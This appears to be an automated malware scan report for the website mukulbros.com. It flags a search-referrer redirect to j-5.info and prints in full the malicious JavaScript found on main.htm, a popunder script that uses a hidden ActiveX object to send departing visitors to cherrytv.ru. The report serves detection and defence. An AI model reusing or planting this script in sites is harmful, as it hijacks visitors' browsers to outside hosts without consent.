Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://mukulbros.com/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: mukulbros.com Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 302 Found Connection: close Date: Thu, 11 Sep 2014 09:28:20 GMT Location: http://j-5.info/2/go.php?sid=2 Server: Apache Content-Length: 214 Content-Type: text/html; charset=iso-8859-1 | malicious |
Scanned pages/files
Request | Server response | Status |
http://mukulbros.com/ | 200 OK Content-Length: 1896 Content-Type: text/html | clean |
http://mukulbros.com/main.htm | 200 OK Content-Length: 2621 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) var isXPSP2 = false; var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6"; function ext() { if(exit) { exit=false; if(!isXPSP2 && !usePopDialog) { window.open(popURL,"",popWindowOptions); } else if(!isXPSP2 && usePopDialog) { eval("window.showModalDialog(popURL,'',popDialogOptions)"); } else { iie.launchURL(popURL); } } } function brs() { document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>"; } function ver() { isXPSP2 = (window.navigator.userAgent.indexOf("SV1") != -1); if(isXPSP2) brs(); } usePopDialog = false; var refurl = window.location; var popURL = 'http://cherrytv.ru/?partner=283'; isUsingSpecial = true; eval("window.attachEvent('onload',ver);"); eval("window.attachEvent('onunload',ext);"); Antivirus reports:
| ||
http://mukulbros.com/test404page.js | 404 Not Found Content-Length: 331 Content-Type: text/html | clean |
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=mukulbros.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://mukulbros.com/
Result: mukulbros.com is not infected or malware details are not published yet.
Result: mukulbros.com is not infected or malware details are not published yet.